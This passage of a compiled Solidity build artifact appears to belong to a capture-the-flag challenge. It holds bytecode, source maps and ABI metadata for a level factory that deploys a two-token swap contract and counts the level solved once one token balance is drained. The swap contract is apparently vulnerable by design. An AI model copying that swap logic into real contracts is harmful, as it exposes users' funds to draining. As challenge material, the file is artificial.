60a01b038716845290915281205490919061029b908290869061030390879061098d565b610440565b60606004805461020d90610955565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156103b85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102bf8286868403610440565b5f3361029b818585610627565b6005546001600160a01b03908116908416036104305760405162461bcd60e51b815260206004820152600f60248201527f496e76616c6964417070726f766572000000000000000000000000000000000060448201526064016103af565b61043b838383610440565b505050565b6001600160a01b0383166104bb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b0382166105375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461062157818110156106145760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103af565b6106218484848403610440565b50505050565b6001600160a01b0383166106a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b03821661071f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b0383165f90815260208190526040902054818110156107ad5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906107e390849061098d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161082f91815260200190565b60405180910390a3610621565b5f602080835283518060208501525f5b818110156108685785810183015185820160400152820161084c565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461089e575f80fd5b919050565b5f80604083850312156108b4575f80fd5b6108bd83610888565b946020939093013593505050565b5f805f606084860312156108dd575f80fd5b6108e684610888565b92506108f460208501610888565b9150604084013590509250925092565b5f60208284031215610914575f80fd5b61091d82610888565b9392505050565b5f8060408385031215610935575f80fd5b61093e83610888565b915061094c60208401610888565b90509250929050565b600181811c9082168061096957607f821691505b60208210810361098757634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156102a157634e487b7160e01b5f52601160045260245ffdfea2646970667358221220e1b9d8da486aa913e7ce0b8d958615852ff8292906a6341e09d07cfbc6ded95864736f6c63430008180033a2646970667358221220d0d3202e46ffc4e18a7125e8519dfc5ab16446a6f176aa37a4e26bc1c54a748764736f6c63430008180033","sourceMap":"167:1324:70:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;167:1324:70;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;167:1324:70:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x6080604052600436106200005f575f3560e01c80638da5cb5b11620000465780638da5cb5b14620000b0578063d38def5b14620000ce578063f2fde38b1462000103575f80fd5b8063715018a614620000635780637726f776146200007c575b5f80fd5b3480156200006f575f80fd5b506200007a62000127565b005b620000936200008d3660046200092c565b6200013e565b6040516001600160a01b0390911681526020015b60405180910390f35b348015620000bc575f80fd5b505f546001600160a01b031662000093565b348015620000da575f80fd5b50620000f2620000ec36600462000951565b620005e6565b6040519015158152602001620000a7565b3480156200010f575f80fd5b506200007a620001213660046200092c565b6200079f565b6200013162000839565b6200013c5f62000894565b565b5f806040516200014e90620008fb565b604051809103905ff08015801562000168573d5f803e3d5ffd5b5090505f8190505f81606e604051620001819062000909565b6001600160a01b0390921682526080602083018190526007908301527f546f6b656e20310000000000000000000000000000000000000000000000000060a083015260c0604083018190526004908301527f544b4e310000000000000000000000000000000000000000000000000000000060e0830152606082015261010001604051809103905ff0801580156200021b573d5f803e3d5ffd5b5090505f82606e604051620002309062000909565b6001600160a01b0390921682526080602083018190526007908301527f546f6b656e20320000000000000000000000000000000000000000000000000060a083015260c0604083018190526004908301527f544b4e320000000000000000000000000000000000000000000000000000000060e0830152606082015261010001604051809103905ff080158015620002ca573d5f803e3d5ffd5b506040517fcbc7854e0000000000000000000000000000000000000000000000000000000081526001600160a01b0380851660048301528083166024830152919250839183919087169063cbc7854e906044015f604051808303815f87803b15801562000335575f80fd5b505af115801562000348573d5f803e3d5ffd5b505060405163095ea7b360e01b81526001600160a01b038881166004830152606460248301528716925063095ea7b391506044016020604051808303815f875af115801562000399573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003bf91906200098d565b5060405163095ea7b360e01b81526001600160a01b0386811660048301526064602483015284169063095ea7b3906044016020604051808303815f875af11580156200040d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200043391906200098d565b5060405163264e889360e01b81526001600160a01b0383811660048301526064602483015287169063264e8893906044015f604051808303815f87803b1580156200047c575f80fd5b505af11580156200048f573d5f803e3d5ffd5b505060405163264e889360e01b81526001600160a01b038481166004830152606460248301528916925063264e889391506044015f604051808303815f87803b158015620004db575f80fd5b505af1158015620004ee573d5f803e3d5ffd5b505060405163a9059cbb60e01b81526001600160a01b038b81166004830152600a60248301528716925063a9059cbb91506044016020604051808303815f875af11580156200053f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200056591906200098d565b5060405163a9059cbb60e01b81526001600160a01b038981166004830152600a602483015284169063a9059cbb906044016020604051808303815f875af1158015620005b3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620005d991906200098d565b5093979650505050505050565b5f80836001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000625573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200064b9190620009ae565b90505f846001600160a01b03166325be124e6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200068b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620006b19190620009ae565b6040516370a0823160e01b81526001600160a01b038781166004830152919250908316906370a0823190602401602060405180830381865afa158015620006fa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620007209190620009cc565b1580156200079657506040516370a0823160e01b81526001600160a01b0386811660048301528216906370a0823190602401602060405180830381865afa1580156200076e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620007949190620009cc565b155b95945050505050565b620007a962000839565b6001600160a01b0381166200082b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b620008368162000894565b50565b5f546001600160a01b031633146200013c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000822565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a3b80620009e583390190565b610e33806200142083390190565b6001600160a01b038116811462000836575f80fd5b5f602082840312156200093d575f80fd5b81356200094a8162000917565b9392505050565b5f806040838503121562000963575f80fd5b8235620009708162000917565b91506020830135620009828162000917565b809150509250929050565b5f602082840312156200099e575f80fd5b815180151581146200094a575f80fd5b5f60208284031215620009bf575f80fd5b81516200094a8162000917565b5f60208284031215620009dd575f80fd5b505191905056fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6109c18061007a5f395ff3fe608060405234801561000f575f80fd5b50600436106100c4575f3560e01c80638da5cb5b1161007d578063df791e5011610058578063df791e501461017f578063f2fde38b14610192578063f7888aec146101a5575f80fd5b80638da5cb5b14610149578063cbc7854e14610159578063d21220a71461016c575f80fd5b8063264e8893116100ad578063264e88931461010d578063635bc0c214610120578063715018a614610141575f80fd5b8063095ea7b3146100c857806325be124e146100dd575b5f80fd5b6100db6100d6366004610861565b6101b8565b005b6002546100f0906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100db61011b366004610861565b61028a565b61013361012e366004610889565b61030b565b604051908152602001610104565b6100db6103f5565b5f546001600160a01b03166100f0565b6100db6101673660046108c2565b610408565b6001546100f0906001600160a01b031681565b6100db61018d366004610889565b61044b565b6100db6101a03660046108f3565b61068d565b6101336101b33660046108c2565b61071d565b60015460405163e1f21c6760e01b81523360048201526001600160a01b038481166024830152604482018490529091169063e1f21c67906064015f604051808303815f87803b158015610209575f80fd5b505af115801561021b573d5f803e3d5ffd5b505060025460405163e1f21c6760e01b81523360048201526001600160a01b03868116602483015260448201869052909116925063e1f21c6791506064015f604051808303815f87803b158015610270575f80fd5b505af1158015610282573d5f803e3d5ffd5b505050505050565b610292610791565b6040516323b872dd60e01b8152336004820152306024820152604481018290526001600160a01b038316906323b872dd906064016020604051808303815f875af11580156102e2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610306919061090c565b505050565b6040516370a0823160e01b81523060048201525f906001600160a01b038516906370a0823190602401602060405180830381865afa15801561034f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103739190610932565b6040516370a0823160e01b81523060048201526001600160a01b038516906370a0823190602401602060405180830381865afa1580156103b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103d99190610932565b6103e39084610949565b6103ed919061096c565b949350505050565b6103fd610791565b6104065f6107ea565b565b610410610791565b600180546001600160a01b0393841673ffffffffffffffffffffffffffffffffffffffff199182161790915560028054929093169116179055565b6040516370a0823160e01b815233600482015281906001600160a01b038516906370a0823190602401602060405180830381865afa15801561048f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104b39190610932565b10156105065760405162461bcd60e51b815260206004820152601260248201527f4e6f7420656e6f75676820746f2073776170000000000000000000000000000060448201526064015b60405180910390fd5b5f61051284848461030b565b6040516323b872dd60e01b8152336004820152306024820152604481018490529091506001600160a01b038516906323b872dd906064016020604051808303815f875af1158015610565573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610589919061090c565b506040517f095ea7b3000000000000000000000000000000000000000000000000000000008152306004820152602481018290526001600160a01b0384169063095ea7b3906044016020604051808303815f875af11580156105ed573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610611919061090c565b506040516323b872dd60e01b8152306004820152336024820152604481018290526001600160a01b038416906323b872dd906064016020604051808303815f875af1158015610662573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610686919061090c565b5050505050565b610695610791565b6001600160a01b0381166107115760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016104fd565b61071a816107ea565b50565b6040516370a0823160e01b81526001600160a01b0382811660048301525f91908416906370a0823190602401602060405180830381865afa158015610764573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107889190610932565b90505b92915050565b5f546001600160a01b031633146104065760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104fd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b038116811461085c575f80fd5b919050565b5f8060408385031215610872575f80fd5b61087b83610846565b946020939093013593505050565b5f805f6060848603121561089b575f80fd5b6108a484610846565b92506108b260208501610846565b9150604084013590509250925092565b5f80604083850312156108d3575f80fd5b6108dc83610846565b91506108ea60208401610846565b90509250929050565b5f60208284031215610903575f80fd5b61078882610846565b5f6020828403121561091c575f80fd5b8151801515811461092b575f80fd5b9392505050565b5f60208284031215610942575f80fd5b5051919050565b808202811582820484141761078b57634e487b7160e01b5f52601160045260245ffd5b5f8261098657634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220b06b3477cf4b0a293b58d8e5e0116b11e52ae38e1b535652e333e7bfd7f27fd964736f6c63430008180033608060405234801562000010575f80fd5b5060405162000e3338038062000e3383398101604081905262000033916200023c565b8282600362000043838262000351565b50600462000052828262000351565b5050506200006733826200009160201b60201c565b5050600580546001600160a01b0319166001600160a01b0393909316929092179091555062000443565b6001600160a01b038216620000ec5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620000ff91906200041d565b90915550506001600160a01b0382165f90815260208190526040812080548392906200012d9084906200041d565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126200019f575f80fd5b81516001600160401b0380821115620001bc57620001bc6200017b565b604051601f8301601f19908116603f01168101908282118183101715620001e757620001e76200017b565b816040528381526020925086602085880101111562000204575f80fd5b5f91505b8382101562000227578582018301518183018401529082019062000208565b5f602085830101528094505050505092915050565b5f805f806080858703121562000250575f80fd5b84516001600160a01b038116811462000267575f80fd5b60208601519094506001600160401b038082111562000284575f80fd5b62000292888389016200018f565b94506040870151915080821115620002a8575f80fd5b50620002b7878288016200018f565b606096909601519497939650505050565b600181811c90821680620002dd57607f821691505b602082108103620002fc57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200017657805f5260205f20601f840160051c81016020851015620003295750805b601f840160051c820191505b818110156200034a575f815560010162000335565b5050505050565b81516001600160401b038111156200036d576200036d6200017b565b62000385816200037e8454620002c8565b8462000302565b602080601f831160018114620003bb575f8415620003a35750858301515b5f19600386901b1c1916600185901b17855562000415565b5f85815260208120601f198616915b82811015620003eb57888601518255948401946001909101908401620003ca565b50858210156200040957878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156200043d57634e487b7160e01b5f52601160045260245ffd5b92915050565b6109e280620004515f395ff3fe608060405234801561000f575f80fd5b50600436106100cf575f3560e01c806370a082311161007d578063a9059cbb11610058578063a9059cbb1461019e578063dd62ed3e146101b1578063e1f21c67146101e9575f80fd5b806370a082311461015b57806395d89b4114610183578063a457c2d71461018b575f80fd5b806323b872dd116100ad57806323b872dd14610126578063313ce567146101395780633950935114610148575f80fd5b806306fdde03146100d3578063095ea7b3146100f157806318160ddd14610114575b5f80fd5b6100db6101fe565b6040516100e8919061083c565b60405180910390f35b6101046100ff3660046108a3565b61028e565b60405190151581526020016100e8565b6002545b6040519081526020016100e8565b6101046101343660046108cb565b6102a7565b604051601281526020016100e8565b6101046101563660046108a3565b6102ca565b610118610169366004610904565b6001600160a01b03165f9081526020819052604090205490565b6100db610308565b6101046101993660046108a3565b610317565b6101046101ac3660046108a3565b6103c5565b6101186101bf366004610924565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6101fc6101f73660046108cb565b6103d2565b005b60606003805461020d90610955565b80601f016020809104026020016040519081016040528092919081815260200182805461023990610955565b80156102845780601f1061025b57610100808354040283529160200191610284565b820191905f5260205f20905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b5f3361029b818585610440565b60019150505b92915050565b5f336102b4858285610597565b6102bf858585610627565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490919061029b908290869061030390879061098d565b610440565b60606004805461020d90610955565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156103b85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102bf8286868403610440565b5f3361029b818585610627565b6005546001600160a01b03908116908416036104305760405162461bcd60e51b815260206004820152600f60248201527f496e76616c6964417070726f766572000000000000000000000000000000000060448201526064016103af565b61043b838383610440565b505050565b6001600160a01b0383166104bb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b0382166105375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461062157818110156106145760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103af565b6106218484848403610440565b50505050565b6001600160a01b0383166106a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b03821661071f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b0383165f90815260208190526040902054818110156107ad5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906107e390849061098d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161082f91815260200190565b60405180910390a3610621565b5f602080835283518060208501525f5b818110156108685785810183015185820160400152820161084c565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461089e575f80fd5b919050565b5f80604083850312156108b4575f80fd5b6108bd83610888565b946020939093013593505050565b5f805f606084860312156108dd575f80fd5b6108e684610888565b92506108f460208501610888565b9150604084013590509250925092565b5f60208284031215610914575f80fd5b61091d82610888565b9392505050565b5f8060408385031215610935575f80fd5b61093e83610888565b915061094c60208401610888565b90509250929050565b600181811c9082168061096957607f821691505b60208210810361098757634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156102a157634e487b7160e01b5f52601160045260245ffdfea2646970667358221220e1b9d8da486aa913e7ce0b8d958615852ff8292906a6341e09d07cfbc6ded95864736f6c63430008180033a2646970667358221220d0d3202e46ffc4e18a7125e8519dfc5ab16446a6f176aa37a4e26bc1c54a748764736f6c63430008180033","sourceMap":"167:1324:70:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;205:967:70;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;205:967:70;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;1178:311:70;;;;;;;;;;-1:-1:-1;1178:311:70;;;;;:::i;:::-;;:::i;:::-;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;1178:311:70;1057:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;205:967:70:-;279:7;298:15;316:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;298:30;;338:23;372:8;338:43;;392:31;448:15;484:3;426:62;;;;;:::i;:::-;-1:-1:-1;;;;;1618:55:155;;;1600:74;;1710:3;1705:2;1690:18;;1683:31;;;1751:1;1730:19;;;1723:30;1790:9;1784:3;1769:19;;1762:38;1836:3;1831:2;1816:18;;1809:31;;;1877:1;1856:19;;;1849:30;1916:6;1910:3;1895:19;;1888:35;-1:-1:-1;1975:18:155;;1968:34;1955:3;1940:19;426:62:70;;;;;;;;;;;;;;;;;;;;;;;392:96;;498:34;557:15;593:3;535:62;;;;;:::i;:::-;-1:-1:-1;;;;;2382:55:155;;;2364:74;;2474:3;2469:2;2454:18;;2447:31;;;2515:1;2494:19;;;2487:30;2554:9;2548:3;2533:19;;2526:38;2600:3;2595:2;2580:18;;2573:31;;;2641:1;2620:19;;;2613:30;2680:6;2674:3;2659:19;;2652:35;-1:-1:-1;2739:18:155;;2732:34;2719:3;2704:19;535:62:70;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;741:65:70;;;;;-1:-1:-1;;;;;3030:15:155;;;741:65:70;;;3012:34:155;3082:15;;;3062:18;;;3055:43;498:99:70;;-1:-1:-1;647:13:70;;498:99;;741:18;;;;;;2924::155;;741:65:70;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;817:43:70;;-1:-1:-1;;;817:43:70;;-1:-1:-1;;;;;3311:55:155;;;817:43:70;;;3293:74:155;856:3:70;3383:18:155;;;3376:34;817:21:70;;;-1:-1:-1;817:21:70;;-1:-1:-1;3266:18:155;;817:43:70;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;870:46:70;;-1:-1:-1;;;870:46:70;;-1:-1:-1;;;;;3311:55:155;;;870:46:70;;;3293:74:155;912:3:70;3383:18:155;;;3376:34;870:24:70;;;;;3266:18:155;;870:46:70;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;927:49:70;;-1:-1:-1;;;927:49:70;;-1:-1:-1;;;;;3311:55:155;;;927:49:70;;;3293:74:155;972:3:70;3383:18:155;;;3376:34;927:22:70;;;;;3266:18:155;;927:49:70;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;986:52:70;;-1:-1:-1;;;986:52:70;;-1:-1:-1;;;;;3311:55:155;;;986:52:70;;;3293:74:155;1034:3:70;3383:18:155;;;3376:34;986:22:70;;;-1:-1:-1;986:22:70;;-1:-1:-1;3266:18:155;;986:52:70;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1049:35:70;;-1:-1:-1;;;1049:35:70;;-1:-1:-1;;;;;3311:55:155;;;1049:35:70;;;3293:74:155;1081:2:70;3383:18:155;;;3376:34;1049:22:70;;;-1:-1:-1;1049:22:70;;-1:-1:-1;3266:18:155;;1049:35:70;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;1094:38:70;;-1:-1:-1;;;1094:38:70;;-1:-1:-1;;;;;3311:55:155;;;1094:38:70;;;3293:74:155;1129:2:70;3383:18:155;;;3376:34;1094:25:70;;;;;3266:18:155;;1094:38:70;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;1150:15:70;;205:967;-1:-1:-1;;;;;;;205:967:70:o;1178:311::-;1270:4;1286:14;1310:9;-1:-1:-1;;;;;1303:24:70;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1286:43;;1339:14;1363:9;-1:-1:-1;;;;;1356:24:70;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1399:35;;-1:-1:-1;;;1399:35:70;;-1:-1:-1;;;;;589:55:155;;;1399:35:70;;;571:74:155;1339:43:70;;-1:-1:-1;1399:24:70;;;;;;544:18:155;;1399:35:70;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:40;:83;;;;-1:-1:-1;1443:34:70;;-1:-1:-1;;;1443:34:70;;-1:-1:-1;;;;;589:55:155;;;1443:34:70;;;571:74:155;1443:23:70;;;;;544:18:155;;1443:34:70;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:39;1399:83;1392:90;1178:311;-1:-1:-1;;;;;1178:311:70:o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;4900:2:155;2161:73:23::1;::::0;::::1;4882:21:155::0;4939:2;4919:18;;;4912:30;4978:34;4958:18;;;4951:62;5049:8;5029:18;;;5022:36;5075:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;5307:2:155;1414:68:23;;;5289:21:155;;;5326:18;;;5319:30;5385:34;5365:18;;;5358:62;5437:18;;1414:68:23;5105:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;:::-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;3421:277::-;3488:6;3541:2;3529:9;3520:7;3516:23;3512:32;3509:52;;;3557:1;3554;3547:12;3509:52;3589:9;3583:16;3642:5;3635:13;3628:21;3621:5;3618:32;3608:60;;3664:1;3661;3654:12;4014:251;4084:6;4137:2;4125:9;4116:7;4112:23;4108:32;4105:52;;;4153:1;4150;4143:12;4105:52;4185:9;4179:16;4204:31;4229:5;4204:31;:::i;4509:184::-;4579:6;4632:2;4620:9;4611:7;4607:23;4603:32;4600:52;;;4648:1;4645;4638:12;4600:52;-1:-1:-1;4671:16:155;;4509:184;-1:-1:-1;4509:184:155:o","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current 